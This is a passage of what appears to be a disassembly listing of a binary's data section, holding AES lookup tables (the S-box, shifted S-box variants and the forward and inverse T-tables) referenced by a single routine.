61C2A361h, 356A5F35h dd 57AEF957h, 0B969D0B9h, 86179186h, 0C19958C1h, 1D3A271Dh dd 9E27B99Eh, 0E1D938E1h, 0F8EB13F8h, 982BB398h, 11223311h dd 69D2BB69h, 0D9A970D9h, 8E07898Eh, 9433A794h, 9B2DB69Bh dd 1E3C221Eh, 87159287h, 0E9C920E9h, 0CE8749CEh, 55AAFF55h dd 28507828h, 0DFA57ADFh, 8C038F8Ch, 0A159F8A1h, 89098089h dd 0D1A170Dh, 0BF65DABFh, 0E6D731E6h, 4284C642h, 68D0B868h dd 4182C341h, 9929B099h, 2D5A772Dh, 0F1E110Fh, 0B07BCBB0h dd 54A8FC54h, 0BB6DD6BBh, 162C3A16h dword_42B8D8 dd 0C6A56363h ; DATA XREF: sub_41954F+145r ; sub_41954F+188r ... dd 0F8847C7Ch, 0EE997777h, 0F68D7B7Bh, 0FF0DF2F2h, 0D6BD6B6Bh dd 0DEB16F6Fh, 9154C5C5h, 60503030h, 2030101h, 0CEA96767h dd 567D2B2Bh, 0E719FEFEh, 0B562D7D7h, 4DE6ABABh, 0EC9A7676h dd 8F45CACAh, 1F9D8282h, 8940C9C9h, 0FA877D7Dh, 0EF15FAFAh dd 0B2EB5959h, 8EC94747h, 0FB0BF0F0h, 41ECADADh, 0B367D4D4h dd 5FFDA2A2h, 45EAAFAFh, 23BF9C9Ch, 53F7A4A4h, 0E4967272h dd 9B5BC0C0h, 75C2B7B7h, 0E11CFDFDh, 3DAE9393h, 4C6A2626h dd 6C5A3636h, 7E413F3Fh, 0F502F7F7h, 834FCCCCh, 685C3434h dd 51F4A5A5h, 0D134E5E5h, 0F908F1F1h, 0E2937171h, 0AB73D8D8h dd 62533131h, 2A3F1515h, 80C0404h, 9552C7C7h, 46652323h dd 9D5EC3C3h, 30281818h, 37A19696h, 0A0F0505h, 2FB59A9Ah dd 0E090707h, 24361212h, 1B9B8080h, 0DF3DE2E2h, 0CD26EBEBh dd 4E692727h, 7FCDB2B2h, 0EA9F7575h, 121B0909h, 1D9E8383h dd 58742C2Ch, 342E1A1Ah, 362D1B1Bh, 0DCB26E6Eh, 0B4EE5A5Ah dd 5BFBA0A0h, 0A4F65252h, 764D3B3Bh, 0B761D6D6h, 7DCEB3B3h dd 527B2929h, 0DD3EE3E3h, 5E712F2Fh, 13978484h, 0A6F55353h dd 0B968D1D1h, 0 dd 0C12CEDEDh, 40602020h, 0E31FFCFCh, 79C8B1B1h, 0B6ED5B5Bh dd 0D4BE6A6Ah, 8D46CBCBh, 67D9BEBEh, 724B3939h, 94DE4A4Ah dd 98D44C4Ch, 0B0E85858h, 854ACFCFh, 0BB6BD0D0h, 0C52AEFEFh dd 4FE5AAAAh, 0ED16FBFBh, 86C54343h, 9AD74D4Dh, 66553333h dd 11948585h, 8ACF4545h, 0E910F9F9h, 4060202h, 0FE817F7Fh dd 0A0F05050h, 78443C3Ch, 25BA9F9Fh, 4BE3A8A8h, 0A2F35151h dd 5DFEA3A3h, 80C04040h, 58A8F8Fh, 3FAD9292h, 21BC9D9Dh dd 70483838h, 0F104F5F5h, 63DFBCBCh, 77C1B6B6h, 0AF75DADAh dd 42632121h, 20301010h, 0E51AFFFFh, 0FD0EF3F3h, 0BF6DD2D2h dd 814CCDCDh, 18140C0Ch, 26351313h, 0C32FECECh, 0BEE15F5Fh dd 35A29797h, 88CC4444h, 2E391717h, 9357C4C4h, 55F2A7A7h dd 0FC827E7Eh, 7A473D3Dh, 0C8AC6464h, 0BAE75D5Dh, 322B1919h dd 0E6957373h, 0C0A06060h, 19988181h, 9ED14F4Fh, 0A37FDCDCh dd 44662222h, 547E2A2Ah, 3BAB9090h, 0B838888h, 8CCA4646h dd 0C729EEEEh, 6BD3B8B8h, 283C1414h, 0A779DEDEh, 0BCE25E5Eh dd 161D0B0Bh, 0AD76DBDBh, 0DB3BE0E0h, 64563232h, 744E3A3Ah dd 141E0A0Ah, 92DB4949h, 0C0A0606h, 486C2424h, 0B8E45C5Ch dd 9F5DC2C2h, 0BD6ED3D3h, 43EFACACh, 0C4A66262h, 39A89191h dd 31A49595h, 0D337E4E4h, 0F28B7979h, 0D532E7E7h, 8B43C8C8h dd 6E593737h, 0DAB76D6Dh, 18C8D8Dh, 0B164D5D5h, 9CD24E4Eh dd 49E0A9A9h, 0D8B46C6Ch, 0ACFA5656h, 0F307F4F4h, 0CF25EAEAh dd 0CAAF6565h, 0F48E7A7Ah, 47E9AEAEh, 10180808h, 6FD5BABAh dd 0F0887878h, 4A6F2525h, 5C722E2Eh, 38241C1Ch, 57F1A6A6h dd 73C7B4B4h, 9751C6C6h, 0CB23E8E8h, 0A17CDDDDh, 0E89C7474h dd 3E211F1Fh, 96DD4B4Bh, 61DCBDBDh, 0D868B8Bh, 0F858A8Ah dd 0E0907070h, 7C423E3Eh, 71C4B5B5h, 0CCAA6666h, 90D84848h dd 6050303h, 0F701F6F6h, 1C120E0Eh, 0C2A36161h, 6A5F3535h dd 0AEF95757h, 69D0B9B9h, 17918686h, 9958C1C1h, 3A271D1Dh dd 27B99E9Eh, 0D938E1E1h, 0EB13F8F8h, 2BB39898h, 22331111h dd 0D2BB6969h, 0A970D9D9h, 7898E8Eh, 33A79494h, 2DB69B9Bh dd 3C221E1Eh, 15928787h, 0C920E9E9h, 8749CECEh, 0AAFF5555h dd 50782828h, 0A57ADFDFh, 38F8C8Ch, 59F8A1A1h, 9808989h dd 1A170D0Dh, 65DABFBFh, 0D731E6E6h, 84C64242h, 0D0B86868h dd 82C34141h, 29B09999h, 5A772D2Dh, 1E110F0Fh, 7BCBB0B0h dd 0A8FC5454h, 6DD6BBBBh, 2C3A1616h dword_42BCD8 dd 63h ; DATA XREF: sub_41954F+1BBDr ; sub_41954F+1BFEr ... dd 7Ch, 77h, 7Bh, 0F2h, 6Bh, 6Fh, 0C5h, 30h, 1, 67h, 2Bh dd 0FEh, 0D7h, 0ABh, 76h, 0CAh, 82h, 0C9h, 7Dh, 0FAh, 59h dd 47h, 0F0h, 0ADh, 0D4h, 0A2h, 0AFh, 9Ch, 0A4h, 72h, 0C0h dd 0B7h, 0FDh, 93h, 26h, 36h, 3Fh, 0F7h, 0CCh, 34h, 0A5h dd 0E5h, 0F1h, 71h, 0D8h, 31h, 15h, 4, 0C7h, 23h, 0C3h dd 18h, 96h, 5, 9Ah, 7, 12h, 80h, 0E2h, 0EBh, 27h, 0B2h dd 75h, 9, 83h, 2Ch, 1Ah, 1Bh, 6Eh, 5Ah, 0A0h, 52h, 3Bh dd 0D6h, 0B3h, 29h, 0E3h, 2Fh, 84h, 53h, 0D1h, 0 dd 0EDh, 20h, 0FCh, 0B1h, 5Bh, 6Ah, 0CBh, 0BEh, 39h, 4Ah dd 4Ch, 58h, 0CFh, 0D0h, 0EFh, 0AAh, 0FBh, 43h, 4Dh, 33h dd 85h, 45h, 0F9h, 2, 7Fh, 50h, 3Ch, 9Fh, 0A8h, 51h, 0A3h dd 40h, 8Fh, 92h, 9Dh, 38h, 0F5h, 0BCh, 0B6h, 0DAh, 21h dd 10h, 0FFh, 0F3h, 0D2h, 0CDh, 0Ch, 13h, 0ECh, 5Fh, 97h dd 44h, 17h, 0C4h, 0A7h, 7Eh, 3Dh, 64h, 5Dh, 19h, 73h dd 60h, 81h, 4Fh, 0DCh, 22h, 2Ah, 90h, 88h, 46h, 0EEh dd 0B8h, 14h, 0DEh, 5Eh, 0Bh, 0DBh, 0E0h, 32h, 3Ah, 0Ah dd 49h, 6, 24h, 5Ch, 0C2h, 0D3h, 0ACh, 62h, 91h, 95h, 0E4h dd 79h, 0E7h, 0C8h, 37h, 6Dh, 8Dh, 0D5h, 4Eh, 0A9h, 6Ch dd 56h, 0F4h, 0EAh, 65h, 7Ah, 0AEh, 8, 0BAh, 78h, 25h dd 2Eh, 1Ch, 0A6h, 0B4h, 0C6h, 0E8h, 0DDh, 74h, 1Fh, 4Bh dd 0BDh, 8Bh, 8Ah, 70h, 3Eh, 0B5h, 66h, 48h, 3, 0F6h, 0Eh dd 61h, 35h, 57h, 0B9h, 86h, 0C1h, 1Dh, 9Eh, 0E1h, 0F8h dd 98h, 11h, 69h, 0D9h, 8Eh, 94h, 9Bh, 1Eh, 87h, 0E9h dd 0CEh, 55h, 28h, 0DFh, 8Ch, 0A1h, 89h, 0Dh, 0BFh, 0E6h dd 42h, 68h, 41h, 99h, 2Dh, 0Fh, 0B0h, 54h, 0BBh, 16h dword_42C0D8 dd 6300h ; DATA XREF: sub_41954F+1BB2r ; sub_41954F+1BF3r ... dd 7C00h, 7700h, 7B00h, 0F200h, 6B00h, 6F00h, 0C500h, 3000h dd 100h, 6700h, 2B00h, 0FE00h, 0D700h, 0AB00h, 7600h, 0CA00h dd 8200h, 0C900h, 7D00h, 0FA00h, 5900h, 4700h, 0F000h dd 0AD00h, 0D400h, 0A200h, 0AF00h, 9C00h, 0A400h, 7200h dd 0C000h, 0B700h, 0FD00h, 9300h, 2600h, 3600h, 3F00h dd 0F700h, 0CC00h, 3400h, 0A500h, 0E500h, 0F100h, 7100h dd 0D800h, 3100h, 1500h, 400h, 0C700h, 2300h, 0C300h, 1800h dd 9600h, 500h, 9A00h, 700h, 1200h, 8000h, 0E200h, 0EB00h dd 2700h, 0B200h, 7500h, 900h, 8300h, 2C00h, 1A00h, 1B00h dd 6E00h, 5A00h, 0A000h, 5200h, 3B00h, 0D600h, 0B300h dd 2900h, 0E300h, 2F00h, 8400h, 5300h, 0D100h, 0 dd 0ED00h, 2000h, 0FC00h, 0B100h, 5B00h, 6A00h, 0CB00h dd 0BE00h, 3900h, 4A00h, 4C00h, 5800h, 0CF00h, 0D000h dd 0EF00h, 0AA00h, 0FB00h, 4300h, 4D00h, 3300h, 8500h dd 4500h, 0F900h, 200h, 7F00h, 5000h, 3C00h, 9F00h, 0A800h dd 5100h, 0A300h, 4000h, 8F00h, 9200h, 9D00h, 3800h, 0F500h dd 0BC00h, 0B600h, 0DA00h, 2100h, 1000h, 0FF00h, 0F300h dd 0D200h, 0CD00h, 0C00h, 1300h, 0EC00h, 5F00h, 9700h dd 4400h, 1700h, 0C400h, 0A700h, 7E00h, 3D00h, 6400h, 5D00h dd 1900h, 7300h, 6000h, 8100h, 4F00h, 0DC00h, 2200h, 2A00h dd 9000h, 8800h, 4600h, 0EE00h, 0B800h, 1400h, 0DE00h dd 5E00h, 0B00h, 0DB00h, 0E000h, 3200h, 3A00h, 0A00h, 4900h dd 600h, 2400h, 5C00h, 0C200h, 0D300h, 0AC00h, 6200h, 9100h dd 9500h, 0E400h, 7900h, 0E700h, 0C800h, 3700h, 6D00h dd 8D00h, 0D500h, 4E00h, 0A900h, 6C00h, 5600h, 0F400h dd 0EA00h, 6500h, 7A00h, 0AE00h, 800h, 0BA00h, 7800h, 2500h dd 2E00h, 1C00h, 0A600h, 0B400h, 0C600h, 0E800h, 0DD00h dd 7400h, 1F00h, 4B00h, 0BD00h, 8B00h, 8A00h, 7000h, 3E00h dd 0B500h, 6600h, 4800h, 300h, 0F600h, 0E00h, 6100h, 3500h dd 5700h, 0B900h, 8600h, 0C100h, 1D00h, 9E00h, 0E100h dd 0F800h, 9800h, 1100h, 6900h, 0D900h, 8E00h, 9400h, 9B00h dd 1E00h, 8700h, 0E900h, 0CE00h, 5500h, 2800h, 0DF00h dd 8C00h, 0A100h, 8900h, 0D00h, 0BF00h, 0E600h, 4200h dd 6800h, 4100h, 9900h, 2D00h, 0F00h, 0B000h, 5400h, 0BB00h dd 1600h dword_42C4D8 dd 630000h ; DATA XREF: sub_41954F+1BA2r ; sub_41954F+1BE3r ... dd 7C0000h, 770000h, 7B0000h, 0F20000h, 6B0000h, 6F0000h dd 0C50000h, 300000h, 10000h, 670000h, 2B0000h, 0FE0000h dd 0D70000h, 0AB0000h, 760000h, 0CA0000h, 820000h, 0C90000h dd 7D0000h, 0FA0000h, 590000h, 470000h, 0F00000h, 0AD0000h dd 0D40000h, 0A20000h, 0AF0000h, 9C0000h, 0A40000h, 720000h dd 0C00000h, 0B70000h, 0FD0000h, 930000h, 260000h, 360000h dd 3F0000h, 0F70000h, 0CC0000h, 340000h, 0A50000h, 0E50000h dd 0F10000h, 710000h, 0D80000h, 310000h, 150000h, 40000h dd 0C70000h, 230000h, 0C30000h, 180000h, 960000h, 50000h dd 9A0000h, 70000h, 120000h, 800000h, 0E20000h, 0EB0000h dd 270000h, 0B20000h, 750000h, 90000h, 830000h, 2C0000h dd 1A0000h, 1B0000h, 6E0000h, 5A0000h, 0A00000h, 520000h dd 3B0000h, 0D60000h, 0B30000h, 290000h, 0E30000h, 2F0000h dd 840000h, 530000h, 0D10000h, 0 dd 0ED0000h, 200000h, 0FC0000h, 0B10000h, 5B0000h, 6A0000h dd 0CB0000h, 0BE0000h, 390000h, 4A0000h, 4C0000h, 580000h dd 0CF0000h, 0D00000h, 0EF0000h, 0AA0000h, 0FB0000h, 430000h dd 4D0000h, 330000h, 850000h, 450000h, 0F90000h, 20000h dd 7F0000h, 500000h, 3C0000h, 9F0000h, 0A80000h, 510000h dd 0A30000h, 400000h, 8F0000h, 920000h, 9D0000h, 380000h dd 0F50000h, 0BC0000h, 0B60000h, 0DA0000h, 210000h, 100000h dd 0FF0000h, 0F30000h, 0D20000h, 0CD0000h, 0C0000h, 130000h dd 0EC0000h, 5F0000h, 970000h, 440000h, 170000h, 0C40000h dd 0A70000h, 7E0000h, 3D0000h, 640000h, 5D0000h, 190000h dd 730000h, 600000h, 810000h, 4F0000h, 0DC0000h, 220000h dd 2A0000h, 900000h, 880000h, 460000h, 0EE0000h, 0B80000h dd 140000h, 0DE0000h, 5E0000h, 0B0000h, 0DB0000h, 0E00000h dd 320000h, 3A0000h, 0A0000h, 490000h, 60000h, 240000h dd 5C0000h, 0C20000h, 0D30000h, 0AC0000h, 620000h, 910000h dd 950000h, 0E40000h, 790000h, 0E70000h, 0C80000h, 370000h dd 6D0000h, 8D0000h, 0D50000h, 4E0000h, 0A90000h, 6C0000h dd 560000h, 0F40000h, 0EA0000h, 650000h, 7A0000h, 0AE0000h dd 80000h, 0BA0000h, 780000h, 250000h, 2E0000h, 1C0000h dd 0A60000h, 0B40000h, 0C60000h, 0E80000h, 0DD0000h, 740000h dd 1F0000h, 4B0000h, 0BD0000h, 8B0000h, 8A0000h, 700000h dd 3E0000h, 0B50000h, 660000h, 480000h, 30000h, 0F60000h dd 0E0000h, 610000h, 350000h, 570000h, 0B90000h, 860000h dd 0C10000h, 1D0000h, 9E0000h, 0E10000h, 0F80000h, 980000h dd 110000h, 690000h, 0D90000h, 8E0000h, 940000h, 9B0000h dd 1E0000h, 870000h, 0E90000h, 0CE0000h, 550000h, 280000h dd 0DF0000h, 8C0000h, 0A10000h, 890000h, 0D0000h, 0BF0000h dd 0E60000h, 420000h, 680000h, 410000h, 990000h, 2D0000h dd 0F0000h, 0B00000h, 540000h, 0BB0000h, 160000h dword_42C8D8 dd 63000000h ; DATA XREF: sub_41954F+1B90r ; sub_41954F+1BD9r ... dd 7C000000h, 77000000h, 7B000000h, 0F2000000h, 6B000000h dd 6F000000h, 0C5000000h, 30000000h, 1000000h, 67000000h dd 2B000000h, 0FE000000h, 0D7000000h, 0AB000000h, 76000000h dd 0CA000000h, 82000000h, 0C9000000h, 7D000000h, 0FA000000h dd 59000000h, 47000000h, 0F0000000h, 0AD000000h, 0D4000000h dd 0A2000000h, 0AF000000h, 9C000000h, 0A4000000h, 72000000h dd 0C0000000h, 0B7000000h, 0FD000000h, 93000000h, 26000000h dd 36000000h, 3F000000h, 0F7000000h, 0CC000000h, 34000000h dd 0A5000000h, 0E5000000h, 0F1000000h, 71000000h, 0D8000000h dd 31000000h, 15000000h, 4000000h, 0C7000000h, 23000000h dd 0C3000000h, 18000000h, 96000000h, 5000000h, 9A000000h dd 7000000h, 12000000h, 80000000h, 0E2000000h, 0EB000000h dd 27000000h, 0B2000000h, 75000000h, 9000000h, 83000000h dd 2C000000h, 1A000000h, 1B000000h, 6E000000h, 5A000000h dd 0A0000000h, 52000000h, 3B000000h, 0D6000000h, 0B3000000h dd 29000000h, 0E3000000h, 2F000000h, 84000000h, 53000000h dd 0D1000000h, 0 dd 0ED000000h, 20000000h, 0FC000000h, 0B1000000h, 5B000000h dd 6A000000h, 0CB000000h, 0BE000000h, 39000000h, 4A000000h dd 4C000000h, 58000000h, 0CF000000h, 0D0000000h, 0EF000000h dd 0AA000000h, 0FB000000h, 43000000h, 4D000000h, 33000000h dd 85000000h, 45000000h, 0F9000000h, 2000000h, 7F000000h dd 50000000h, 3C000000h, 9F000000h, 0A8000000h, 51000000h dd 0A3000000h, 40000000h, 8F000000h, 92000000h, 9D000000h dd 38000000h, 0F5000000h, 0BC000000h, 0B6000000h, 0DA000000h dd 21000000h, 10000000h, 0FF000000h, 0F3000000h, 0D2000000h dd 0CD000000h, 0C000000h, 13000000h, 0EC000000h, 5F000000h dd 97000000h, 44000000h, 17000000h, 0C4000000h, 0A7000000h dd 7E000000h, 3D000000h, 64000000h, 5D000000h, 19000000h dd 73000000h, 60000000h, 81000000h, 4F000000h, 0DC000000h dd 22000000h, 2A000000h, 90000000h, 88000000h, 46000000h dd 0EE000000h, 0B8000000h, 14000000h, 0DE000000h, 5E000000h dd 0B000000h, 0DB000000h, 0E0000000h, 32000000h, 3A000000h dd 0A000000h, 49000000h, 6000000h, 24000000h, 5C000000h dd 0C2000000h, 0D3000000h, 0AC000000h, 62000000h, 91000000h dd 95000000h, 0E4000000h, 79000000h, 0E7000000h, 0C8000000h dd 37000000h, 6D000000h, 8D000000h, 0D5000000h, 4E000000h dd 0A9000000h, 6C000000h, 56000000h, 0F4000000h, 0EA000000h dd 65000000h, 7A000000h, 0AE000000h, 8000000h, 0BA000000h dd 78000000h, 25000000h, 2E000000h, 1C000000h, 0A6000000h dd 0B4000000h, 0C6000000h, 0E8000000h, 0DD000000h, 74000000h dd 1F000000h, 4B000000h, 0BD000000h, 8B000000h, 8A000000h dd 70000000h, 3E000000h, 0B5000000h, 66000000h, 48000000h dd 3000000h, 0F6000000h, 0E000000h, 61000000h, 35000000h dd 57000000h, 0B9000000h, 86000000h, 0C1000000h, 1D000000h dd 9E000000h, 0E1000000h, 0F8000000h, 98000000h, 11000000h dd 69000000h, 0D9000000h, 8E000000h, 94000000h, 9B000000h dd 1E000000h, 87000000h, 0E9000000h, 0CE000000h, 55000000h dd 28000000h, 0DF000000h, 8C000000h, 0A1000000h, 89000000h dd 0D000000h, 0BF000000h, 0E6000000h, 42000000h, 68000000h dd 41000000h, 99000000h, 2D000000h, 0F000000h, 0B0000000h dd 54000000h, 0BB000000h, 16000000h, 50A7F451h, 5365417Eh dd 0C3A4171Ah, 965E273Ah, 0CB6BAB3Bh, 0F1459D1Fh, 0AB58FAACh dd 9303E34Bh, 55FA3020h, 0F66D76ADh, 9176CC88h, 254C02F5h dd 0FCD7E54Fh, 0D7CB2AC5h, 80443526h, 8FA362B5h, 495AB1DEh dd 671BBA25h, 980EEA45h, 0E1C0FE5Dh, 2752FC3h, 12F04C81h dd 0A397468Dh, 0C6F9D36Bh, 0E75F8F03h, 959C9215h, 0EB7A6DBFh dd 0DA595295h, 2D83BED4h, 0D3217458h, 2969E049h, 44C8C98Eh dd 6A89C275h, 78798EF4h, 6B3E5899h, 0DD71B927h, 0B64FE1BEh dd 17AD88F0h, 66AC20C9h, 0B43ACE7Dh, 184ADF63h, 82311AE5h dd 60335197h, 457F5362h, 0E07764B1h, 84AE6BBBh, 1CA081FEh dd 942B08F9h, 58684870h, 19FD458Fh, 876CDE94h, 0B7F87B52h dd 23D373ABh, 0E2024B72h, 578F1FE3h, 2AAB5566h, 728EBB2h dd 3C2B52Fh, 9A7BC586h, 0A50837D3h, 0F2872830h, 0B2A5BF23h dd 0BA6A0302h, 5C8216EDh, 2B1CCF8Ah, 92B479A7h, 0F0F207F3h dd 0A1E2694Eh, 0CDF4DA65h, 0D5BE0506h, 1F6234D1h, 8AFEA6C4h dd 9D532E34h, 0A055F3A2h, 32E18A05h, 75EBF6A4h, 39EC830Bh dd 0AAEF6040h, 69F715Eh, 51106EBDh, 0F98A213Eh, 3D06DD96h dd 0AE053EDDh, 46BDE64Dh, 0B58D5491h, 55DC471h, 6FD40604h dd 0FF155060h, 24FB9819h, 97E9BDD6h, 0CC434089h, 779ED967h dd 0BD42E8B0h, 888B8907h, 385B19E7h, 0DBEEC879h, 470A7CA1h dd 0E90F427Ch, 0C91E84F8h, 0 dd 83868009h, 48ED2B32h, 0AC70111Eh, 4E725A6Ch, 0FBFF0EFDh dd 5638850Fh, 1ED5AE3Dh, 27392D36h, 64D90F0Ah, 21A65C68h dd 0D1545B9Bh, 3A2E3624h, 0B1670A0Ch, 0FE75793h, 0D296EEB4h dd 9E919B1Bh, 4FC5C080h, 0A220DC61h, 694B775Ah, 161A121Ch dd 0ABA93E2h, 0E52AA0C0h, 43E0223Ch, 1D171B12h, 0B0D090Eh dd 0ADC78BF2h, 0B9A8B62Dh, 0C8A91E14h, 8519F157h, 4C0775AFh dd 0BBDD99EEh, 0FD607FA3h, 9F2601F7h, 0BCF5725Ch, 0C53B6644h dd 347EFB5Bh, 7629438Bh, 0DCC623CBh, 68FCEDB6h, 63F1E4B8h dd 0CADC31D7h, 10856342h, 40229713h, 2011C684h, 7D244A85h dd 0F83DBBD2h, 1132F9AEh, 6DA129C7h, 4B2F9E1Dh, 0F330B2DCh dd 0EC52860Dh, 0D0E3C177h, 6C16B32Bh, 99B970A9h, 0FA489411h dd 2264E947h, 0C48CFCA8h, 1A3FF0A0h, 0D82C7D56h, 0EF903322h dd 0C74E4987h, 0C1D138D9h, 0FEA2CA8Ch, 360BD498h, 0CF81F5A6h dd 28DE7AA5h, 268EB7DAh, 0A4BFAD3Fh, 0E49D3A2Ch, 0D927850h dd 9BCC5F6Ah, 62467E54h, 0C2138DF6h, 0E8B8D890h, 5EF7392Eh dd 0F5AFC382h, 0BE805D9Fh, 7C93D069h, 0A92DD56Fh, 0B31225CFh dd 3B99ACC8h, 0A77D1810h, 6E639CE8h, 7BBB3BDBh, 97826CDh dd 0F418596Eh, 1B79AECh, 0A89A4F83h, 656E95E6h, 7EE6FFAAh dd 8CFBC21h, 0E6E815EFh, 0D99BE7BAh, 0CE366F4Ah, 0D4099FEAh dd 0D67CB029h, 0AFB2A431h, 31233F2Ah, 3094A5C6h, 0C066A235h dd 37BC4E74h, 0A6CA82FCh, 0B0D090E0h, 15D8A733h, 4A9804F1h dd 0F7DAEC41h, 0E50CD7Fh, 2FF69117h, 8DD64D76h, 4DB0EF43h dd 544DAACCh, 0DF0496E4h, 0E3B5D19Eh, 1B886A4Ch, 0B81F2CC1h dd 7F516546h, 4EA5E9Dh, 5D358C01h, 737487FAh, 2E410BFBh dd 5A1D67B3h, 52D2DB92h, 335610E9h, 1347D66Dh, 8C61D79Ah dd 7A0CA137h, 8E14F859h, 893C13EBh, 0EE27A9CEh, 35C961B7h dd 0EDE51CE1h, 3CB1477Ah, 59DFD29Ch, 3F73F255h, 79CE1418h dd 0BF37C773h, 0EACDF753h, 5BAAFD5Fh, 146F3DDFh, 86DB4478h dd 81F3AFCAh, 3EC468B9h, 2C342438h, 5F40A3C2h, 72C31D16h dd 0C25E2BCh, 8B493C28h, 41950DFFh, 7101A839h, 0DEB30C08h dd 9CE4B4D8h, 90C15664h, 6184CB7Bh, 70B632D5h, 745C6C48h dd 4257B8D0h, 0A7F45150h, 65417E53h, 0A4171AC3h, 5E273A96h dd 6BAB3BCBh, 459D1FF1h, 58FAACABh, 3E34B93h, 0FA302055h dd 6D76ADF6h, 76CC8891h, 4C02F525h, 0D7E54FFCh, 0CB2AC5D7h dd 44352680h, 0A362B58Fh, 5AB1DE49h, 1BBA2567h, 0EEA4598h dd 0C0FE5DE1h, 752FC302h, 0F04C8112h, 97468DA3h, 0F9D36BC6h dd 5F8F03E7h, 9C921595h, 7A6DBFEBh, 595295DAh, 83BED42Dh dd 217458D3h, 69E04929h, 0C8C98E44h, 89C2756Ah, 798EF478h dd 3E58996Bh, 71B927DDh, 4FE1BEB6h, 0AD88F017h, 0AC20C966h dd 3ACE7DB4h, 4ADF6318h, 311AE582h, 33519760h, 7F536245h dd 7764B1E0h, 0AE6BBB84h, 0A081FE1Ch, 2B08F994h, 68487058h dd 0FD458F19h, 6CDE9487h, 0F87B52B7h, 0D373AB23h, 24B72E2h dd 8F1FE357h, 0AB55662Ah, 28EBB207h, 0C2B52F03h, 7BC5869Ah dd 837D3A5h, 872830F2h, 0A5BF23B2h, 6A0302BAh, 8216ED5Ch dd 1CCF8A2Bh, 0B479A792h, 0F207F3F0h, 0E2694EA1h, 0F4DA65CDh dd 0BE0506D5h, 6234D11Fh, 0FEA6C48Ah, 532E349Dh, 55F3A2A0h dd 0E18A0532h, 0EBF6A475h, 0EC830B39h, 0EF6040AAh, 9F715E06h dd 106EBD51h, 8A213EF9h, 6DD963Dh, 53EDDAEh, 0BDE64D46h dd 8D5491B5h, 5DC47105h, 0D406046Fh, 155060FFh, 0FB981924h dd 0E9BDD697h, 434089CCh, 9ED96777h, 42E8B0BDh, 8B890788h dd 5B19E738h, 0EEC879DBh, 0A7CA147h, 0F427CE9h, 1E84F8C9h dd 0 dd 86800983h, 0ED2B3248h, 70111EACh, 725A6C4Eh, 0FF0EFDFBh dd 38850F56h, 0D5AE3D1Eh, 392D3627h, 0D90F0A64h, 0A65C6821h dd 545B9BD1h, 2E36243Ah, 670A0CB1h, 0E757930Fh, 96EEB4D2h dd 919B1B9Eh, 0C5C0804Fh, 20DC61A2h, 4B775A69h, 1A121C16h dd 0BA93E20Ah, 2AA0C0E5h, 0E0223C43h, 171B121Dh, 0D090E0Bh dd 0C78BF2ADh, 0A8B62DB9h, 0A91E14C8h, 19F15785h, 775AF4Ch dd 0DD99EEBBh, 607FA3FDh, 2601F79Fh, 0F5725CBCh, 3B6644C5h dd 7EFB5B34h, 29438B76h, 0C623CBDCh, 0FCEDB668h, 0F1E4B863h dd 0DC31D7CAh, 85634210h, 22971340h, 11C68420h, 244A857Dh dd 3DBBD2F8h, 32F9AE11h, 0A129C76Dh, 2F9E1D4Bh, 30B2DCF3h dd 52860DECh, 0E3C177D0h, 16B32B6Ch, 0B970A999h, 489411FAh dd 64E94722h, 8CFCA8C4h, 3FF0A01Ah, 2C7D56D8h, 903322EFh dd 4E4987C7h, 0D138D9C1h, 0A2CA8CFEh, 0BD49836h, 81F5A6CFh dd 0DE7AA528h, 8EB7DA26h, 0BFAD3FA4h, 9D3A2CE4h, 9278500Dh dd 0CC5F6A9Bh, 467E5462h, 138DF6C2h, 0B8D890E8h, 0F7392E5Eh dd 0AFC382F5h, 805D9FBEh, 93D0697Ch, 2DD56FA9h, 1225CFB3h dd 99ACC83Bh, 7D1810A7h, 639CE86Eh, 0BB3BDB7Bh, 7826CD09h dd 18596EF4h, 0B79AEC01h, 9A4F83A8h, 6E95E665h, 0E6FFAA7Eh dd 0CFBC2108h, 0E815EFE6h, 9BE7BAD9h, 366F4ACEh, 99FEAD4h dd 7CB029D6h, 0B2A431AFh, 233F2A31h, 94A5C630h, 66A235C0h dd 0BC4E7437h, 0CA82FCA6h, 0D090E0B0h, 0D8A73315h, 9804F14Ah dd 0DAEC41F7h, 50CD7F0Eh, 0F691172Fh, 0D64D768Dh, 0B0EF434Dh dd 4DAACC54h, 496E4DFh, 0B5D19EE3h, 886A4C1Bh, 1F2CC1B8h dd 5165467Fh, 0EA5E9D04h, 358C015Dh, 7487FA73h, 410BFB2Eh dd 1D67B35Ah, 0D2DB9252h, 5610E933h, 47D66D13h, 61D79A8Ch dd 0CA1377Ah, 14F8598Eh, 3C13EB89h, 27A9CEEEh, 0C961B735h dd 0E51CE1EDh, 0B1477A3Ch, 0DFD29C59h, 73F2553Fh, 0CE141879h dd 37C773BFh, 0CDF753EAh, 0AAFD5F5Bh, 6F3DDF14h, 0DB447886h dd 0F3AFCA81h, 0C468B93Eh, 3424382Ch, 40A3C25Fh, 0C31D1672h dd 25E2BC0Ch, 493C288Bh, 950DFF41h, 1A83971h, 0B30C08DEh dd 0E4B4D89Ch, 0C1566490h, 84CB7B61h, 0B632D570h, 5C6C4874h dd 57B8D042h, 0F45150A7h, 417E5365h, 171AC3A4h, 273A965Eh dd 0AB3BCB6Bh, 9D1FF145h, 0FAACAB58h, 0E34B9303h, 302055FAh dd 76ADF66Dh, 0CC889176h, 2F5254Ch, 0E54FFCD7h, 2AC5D7CBh dd 35268044h, 62B58FA3h, 0B1DE495Ah, 0BA25671Bh, 0EA45980Eh dd 0FE5DE1C0h, 2FC30275h, 4C8112F0h, 468DA397h, 0D36BC6F9h dd 8F03E75Fh, 9215959Ch, 6DBFEB7Ah, 5295DA59h, 0BED42D83h dd 7458D321h, 0E0492969h, 0C98E44C8h, 0C2756A89h, 8EF47879h dd 58996B3Eh, 0B927DD71h, 0E1BEB64Fh, 88F017ADh, 20C966ACh dd 0CE7DB43Ah, 0DF63184Ah, 1AE58231h, 51976033h, 5362457Fh dd 64B1E077h, 6BBB84AEh, 81FE1CA0h, 8F9942Bh, 48705868h dd 458F19FDh, 0DE94876Ch, 7B52B7F8h, 73AB23D3h, 4B72E202h dd 1FE3578Fh, 55662AABh, 0EBB20728h, 0B52F03C2h, 0C5869A7Bh dd 37D3A508h, 2830F287h, 0BF23B2A5h, 302BA6Ah, 16ED5C82h dd 0CF8A2B1Ch, 79A792B4h, 7F3F0F2h, 694EA1E2h, 0DA65CDF4h dd 506D5BEh, 34D11F62h, 0A6C48AFEh, 2E349D53h, 0F3A2A055h dd 8A0532E1h, 0F6A475EBh, 830B39ECh, 6040AAEFh, 715E069Fh dd 6EBD5110h, 213EF98Ah, 0DD963D06h, 